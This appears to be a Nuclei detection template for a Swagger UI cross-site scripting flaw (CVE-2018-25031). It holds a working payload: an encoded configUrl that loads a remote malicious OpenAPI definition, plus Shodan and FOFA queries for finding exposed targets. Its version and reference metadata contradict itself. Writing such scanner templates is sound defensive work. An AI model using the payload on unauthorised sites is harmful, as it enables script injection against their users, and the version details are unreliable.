76 lines
2.5 KiB
YAML
76 lines
2.5 KiB
YAML
id: CVE-2018-25031
|
|
|
|
info:
|
|
name: Swagger UI < 3.38.0 - Cross-Site Scripting
|
|
author: DhiyaneshDK
|
|
severity: medium
|
|
description: |
|
|
Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
|
|
remediation: |
|
|
Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
|
|
reference:
|
|
- https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-25031
|
|
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
|
|
- https://github.com/swagger-api/swagger-ui/issues/4872
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
|
|
cvss-score: 4.3
|
|
cve-id: CVE-2018-25031
|
|
cwe-id: CWE-20
|
|
epss-score: 0.00265
|
|
epss-percentile: 0.65516
|
|
cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: smartbear
|
|
product: swagger_ui
|
|
shodan-query:
|
|
- http.component:"Swagger"
|
|
- http.component:"swagger"
|
|
- http.favicon.hash:"-1180440057"
|
|
fofa-query: icon_hash="-1180440057"
|
|
tags: headless,cve,cve2018,swagger,xss,smartbear
|
|
headless:
|
|
- steps:
|
|
- args:
|
|
url: '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
|
|
action: navigate
|
|
|
|
- action: waitload
|
|
|
|
- action: script
|
|
args:
|
|
code: |
|
|
() => {
|
|
window.originalAlert = window.alert;
|
|
window.alert = function(message) {
|
|
window.alertTriggered = true
|
|
}
|
|
}
|
|
|
|
- action: sleep
|
|
|
|
- action: script
|
|
name: alerts
|
|
args:
|
|
code: |
|
|
() => {
|
|
return window.alertTriggered
|
|
}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: alerts
|
|
words:
|
|
- "true"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "swagger"
|
|
case-insensitive: true
|
|
# digest: 4a0a0047304502206b620185825b2c7dd85b7d2fb9e5863acfd2c2b606b86934fc08cbc8fc997be3022100d10e8cd09cbe237f829b10d1e0a5226cf9e34a7a2c007f3e53029cae7f920b52:922c64590222798bb761d5b6d8e72950 |